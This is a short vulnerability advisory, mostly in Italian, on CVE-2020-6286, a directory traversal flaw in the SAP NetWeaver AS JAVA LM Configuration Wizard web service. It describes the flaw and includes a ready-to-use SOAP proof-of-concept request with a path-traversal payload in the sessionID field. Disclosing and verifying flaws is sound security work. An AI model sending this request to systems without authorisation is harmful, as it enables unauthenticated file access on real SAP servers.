
[CVE-2020-6286] SAP NetWeaver AS JAVA (LM Configuration Wizard) Attraversamento di directory
[CVE-2020-6286] SAP NetWeaver AS JAVA (LM Configuration Wizard) Directory Traversal
SAP NetWeaver è la piattaforma tecnologica integrata di SAP e il fondamento tecnico di tutte le applicazioni SAP sin da SAP Business Suite. SAP NetWeaver è una piattaforma applicativa e di integrazione orientata ai servizi che fornisce un ambiente di sviluppo e runtime per le applicazioni SAP, e può essere utilizzato anche per sviluppi personalizzati e integrazione con altre applicazioni e sistemi. La convalida insufficiente del percorso di input di un certo parametro nel servizio web di SAP NetWeaver AS JAVA (LM Configuration Wizard), versioni 7.30, 7.31, 7.40, 7.50, consente a un attaccante non autenticato di sfruttare un metodo per scaricare file zip in una directory specifica, portando a un Path Traversal.
Per una prova di concetto sicura, puoi utilizzare la seguente richiesta. Se il file zip esiste sull'host remoto, scarica il file 111.zip
POST /CTCWebService/CTCWebServiceBean HTTP/1.1
Host: host
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:78.0) Gecko/20100101 Firefox/78.0
Content-Type: text/xml;charset=UTF-8
SOAPAction:
Content-Length: 340
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi">
<soapenv:Header />
<soapenv:Body>
<urn:queryProtocol>
<sessionID>/../../../../../../../../../../../../../../../../../..111</sessionID>
</urn:queryProtocol>
</soapenv:Body>
</soapenv:Envelope>